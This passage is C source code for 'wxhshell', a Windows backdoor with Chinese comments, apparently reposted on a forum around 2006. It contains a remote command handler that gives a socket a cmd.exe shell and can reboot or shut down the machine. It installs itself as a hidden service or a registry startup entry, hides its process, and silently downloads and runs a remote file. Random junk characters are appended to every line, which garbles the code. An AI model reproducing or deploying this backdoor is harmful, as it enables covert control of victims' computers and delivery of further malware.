      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8'WMspX  
    break; )pn7DIXG  
  } ai  _fN  
  // 安装 k&iScMgCTH  
  case 'i': { ^|i\d \  
    if(Install()) 0W%}z}/ N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `R52{B#&/  
    else Zbh]SF{3F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #_\MD,(  
    break; *u;">H*BW  
    } :_,]?n  
  // 卸载 6cT~irP  
  case 'r': { i)PV{3v$J  
    if(Uninstall()) EZumJ."  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %g@3S!lK  
    else b_gN?F7_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m?% H<4X  
    break; >VUQTg  
    } nk|N.%E  
  // 显示 wxhshell 所在路径 &z X 3  
  case 'p': { jl-Aos"/  
    char svExeFile[MAX_PATH]; JBEgiQ/  
    strcpy(svExeFile,"\n\r"); RR"W O  
      strcat(svExeFile,ExeFile); Y\Qxdq  
        send(wsh,svExeFile,strlen(svExeFile),0); ])j|<W/  
    break; \M"^Oe{Dy?  
    } v&b.Q:h*'  
  // 重启 VFmg"^k5  
  case 'b': { i,Wm{+H-O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3 s_k>cO=  
    if(Boot(REBOOT)) Q}?N4kg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ENx@Ex  
    else { f,HzrHax  
    closesocket(wsh); io r [v  
    ExitThread(0); H@2"ove-uC  
    } j_'rhEdLP  
    break; @f5@0A\0  
    } :&0yf;>v  
  // 关机 t-7[Mk9@  
  case 'd': { eMl]td rI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^c0$pqZ}r  
    if(Boot(SHUTDOWN)) L+~YCat|$U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cv*Q]F1%  
    else { jFNs=D&(  
    closesocket(wsh); Q^MXiE O+  
    ExitThread(0); "^ 6lvZP(  
    } *iRm`)zC(  
    break; Ce5w0&VlS  
    } hi3sOK*r;<  
  // 获取shell O? Gl4_y  
  case 's': { m,gy9$  
    CmdShell(wsh); H MjeGO.i  
    closesocket(wsh); &Ky u@Tt  
    ExitThread(0); 0gOrW=  
    break; Rw/JPC"  
  } y LgKS8b  
  // 退出 2}Z4a\YX  
  case 'x': { XHZ: mLf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z'}(t,  
    CloseIt(wsh); Vy% :\p+  
    break; wsJ%* eYf  
    } #mRFUA  
  // 离开 ,bVS.A'o  
  case 'q': { xjK_zO*dLq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fZ6 fV=HEF  
    closesocket(wsh); .mT#%ex  
    WSACleanup(); txml*/zL  
    exit(1); x>^3]m  
    break; &vFqe,Z  
        } Kl aZZJ  
  } j FPU zB"  
  } 4P4 Fo1  
Zc%foK{  
  // 提示信息 P!FEh'.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kBy rhK5U  
} #6N+5Yx_[  
  } AvrL9D  
y^d[( c  
  return; KM/U?`6>:  
} [*9YIjn  
gv#c~cX]  
// shell模块句柄 . Z*j!{@c  
int CmdShell(SOCKET sock) # cN_y  
{ _)zmIB(}m  
STARTUPINFO si; ws>WA{]gq  
ZeroMemory(&si,sizeof(si)); BSfm?ku"!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tM^;?HL]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *gd?>P7\0  
PROCESS_INFORMATION ProcessInfo; <Qcex3  
char cmdline[]="cmd"; )+n,5W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JQ"`9RNb  
  return 0; Xq,UV  
} BKC7kDK3H  
<?LfOSdMs^  
// 自身启动模式 Z;GIlgK9  
int StartFromService(void) xb9Pc.A[  
{ |*tWF! D6`  
typedef struct @K$VV^wp  
{ %@lV-(5q  
  DWORD ExitStatus; Lj&1K~U  
  DWORD PebBaseAddress; n5Nan  
  DWORD AffinityMask; :!JpP R5  
  DWORD BasePriority; _{LN{iqDv  
  ULONG UniqueProcessId; yn/?= ?0  
  ULONG InheritedFromUniqueProcessId; RgB6:f,  
}   PROCESS_BASIC_INFORMATION; 3Q'[Ee2-3  
.3lGX`d{  
PROCNTQSIP NtQueryInformationProcess; Mw"xm9(Q  
pg~zUOY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -?< Ww{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hWD !  
1R=)17'O  
  HANDLE             hProcess; U1,~bO9  
  PROCESS_BASIC_INFORMATION pbi; 0?lp/|K  
~L%Pz0Gg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M}Nb|V09  
  if(NULL == hInst ) return 0; $!YKZ0)B'0  
0'?V|V=v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vKNt$]pm=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m:)Z6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4S,.R  
nu&_gF,{  
  if (!NtQueryInformationProcess) return 0; 1t/dxB;  
W@I 02n2 H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q>_vE{UB  
  if(!hProcess) return 0; =n@F$/h  
aO8c h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]y3pE}R  
#TMm#?lC  
  CloseHandle(hProcess); 9=t#5J#O  
N\9}\Rk@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3iE-6udCS  
if(hProcess==NULL) return 0; ^FP} qW~;9  
ZCy`2Fir  
HMODULE hMod; 3@^MvoC  
char procName[255]; tHrK~|  
unsigned long cbNeeded; }.0Bl&\UK  
^)&Ly_xrU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A <4_DVd@@  
p"Ot5!F >  
  CloseHandle(hProcess); Jy \2I{I'  
G 9DJa_]X  
if(strstr(procName,"services")) return 1; // 以服务启动 9 YP*f  
LnP3z5d(  
  return 0; // 注册表启动 U't E^W  
} FH)t:!#  
3`8dii  
// 主模块 T}C2e! _O  
int StartWxhshell(LPSTR lpCmdLine) 7#QLtU  
{ OnZF6yfN=3  
  SOCKET wsl; b,nn&B5@{  
BOOL val=TRUE; OE_ QInb<  
  int port=0; YiD-F7hf.*  
  struct sockaddr_in door; ]JOephX2R  
k*5'L<&  
  if(wscfg.ws_autoins) Install(); 24#bMt#^  
h}<0/  
port=atoi(lpCmdLine); Aj [?aL  
/-h6`@[  
if(port<=0) port=wscfg.ws_port; z5x _fAT(  
>A-<ZS*N  
  WSADATA data; c\At0.QCA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AgIazv1  
^NXcLEaP*<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y4d3n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XMGx ^mn  
  door.sin_family = AF_INET; /QQ8.8=5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |+>uA[6#  
  door.sin_port = htons(port); {3VZ3i  
pD"YNlB^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {J (R  
closesocket(wsl); KkEv#2n  
return 1; A]7<'el=  
} WzjL-a(  
yQ9ZhdQS  
  if(listen(wsl,2) == INVALID_SOCKET) { Mtm/}I  
closesocket(wsl); ^$!987"  
return 1; W4(v6>5l  
} %m9CdWb=w  
  Wxhshell(wsl); Bs[nV}c>>  
  WSACleanup(); wu A^'T  
P''X_1oMC  
return 0; +noZ<KFW "  
S=' wJ@?;  
} MU'@2c  
zF8'i=b&  
// 以NT服务方式启动 PocYFhWQ`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qD#VbvRc9+  
{ syv$XeG=}  
DWORD   status = 0; x[QZ@rGIW  
  DWORD   specificError = 0xfffffff; 9M_(He -  
,|+Gls  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vv6?V#{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j Fma|y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; petW M@  
  serviceStatus.dwWin32ExitCode     = 0; n"6;\  
  serviceStatus.dwServiceSpecificExitCode = 0; 2#3^skj  
  serviceStatus.dwCheckPoint       = 0; v!H:^!z  
  serviceStatus.dwWaitHint       = 0; 7 {f_fkbs  
Cp#)wxi6[y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A3HF,EG  
  if (hServiceStatusHandle==0) return; {XgnZ`*  
k@V#HC{t  
status = GetLastError(); ,_D" ?o  
  if (status!=NO_ERROR) h>alGLN>  
{ 'CXRG$D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %K(0W8&  
    serviceStatus.dwCheckPoint       = 0; 1j0-9Kg'  
    serviceStatus.dwWaitHint       = 0; LvJGvj  
    serviceStatus.dwWin32ExitCode     = status; JQ@fuo %  
    serviceStatus.dwServiceSpecificExitCode = specificError; Gih[i\%Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _tAQ=eBO  
    return; SHD^}?-|  
  } . w H*sb  
Y#FO5O%W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e*C6uz9N  
  serviceStatus.dwCheckPoint       = 0; Tr& }$kird  
  serviceStatus.dwWaitHint       = 0; *#y;8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \hlR]m!C  
} /- 4$7qd  
oE?QnH3R  
// 处理NT服务事件,比如:启动、停止 w%dL 8k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PmR*}Aw  
{ Ri#H.T<'  
switch(fdwControl) B@O@1?c[  
{ at6149B\)  
case SERVICE_CONTROL_STOP: ]"F5;p; y  
  serviceStatus.dwWin32ExitCode = 0; Ue*C>F   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #eK=  
  serviceStatus.dwCheckPoint   = 0; ow6*Xr8eQ  
  serviceStatus.dwWaitHint     = 0; ]JE TeZ^/  
  { Z{R[Wx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kS :\Oz\  
  } JN'cXZJPn  
  return; G^wtE90  
case SERVICE_CONTROL_PAUSE: @ {#mpDX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cCY/gEv  
  break; Q7gY3flg  
case SERVICE_CONTROL_CONTINUE: 9!U@"~yB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GX&b;N  
  break;  U47}QDh  
case SERVICE_CONTROL_INTERROGATE: 4v'A\~ZU  
  break; ^V3v{>D>  
}; 0)!Ll*L!p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &\C [@_  
} VR5fqf|*  
(*\jbK  
// 标准应用程序主函数 i)ASsYG!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k~3.MU  
{ in-C/m#  
Q;u SWt<{  
// 获取操作系统版本 U__(; /1;  
OsIsNt=GetOsVer(); ,xI%A, (,;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'b/ <x|  
7@}$|u:JUF  
  // 从命令行安装 8K9$,Ii  
  if(strpbrk(lpCmdLine,"iI")) Install(); %Sk@GNI_  
c+dg_*^  
  // 下载执行文件 <#+44>h  
if(wscfg.ws_downexe) { &<pKx!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aj\nrD1  
  WinExec(wscfg.ws_filenam,SW_HIDE); =~KsS }`1,  
} !yOeW0/2[  
SC &~s$P;  
if(!OsIsNt) { jJZgK$5+  
// 如果时win9x,隐藏进程并且设置为注册表启动 C'A]i5  
HideProc(); wsU V;S*X%  
StartWxhshell(lpCmdLine); [5$w=u"j  
} S8, Z;y  
else !0,Mp@ j/  
  if(StartFromService()) ,TJ D$^  
  // 以服务方式启动 ;z~n.0'  
  StartServiceCtrlDispatcher(DispatchTable); >q~l21dUi  
else ,Gk}"w  
  // 普通方式启动 =*vMA#e  
  StartWxhshell(lpCmdLine); 2[fN\e{  
MZJ]Dwt]  
return 0; &w 8)* T  
}
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只看该作者 1 发表于: 2006-10-10
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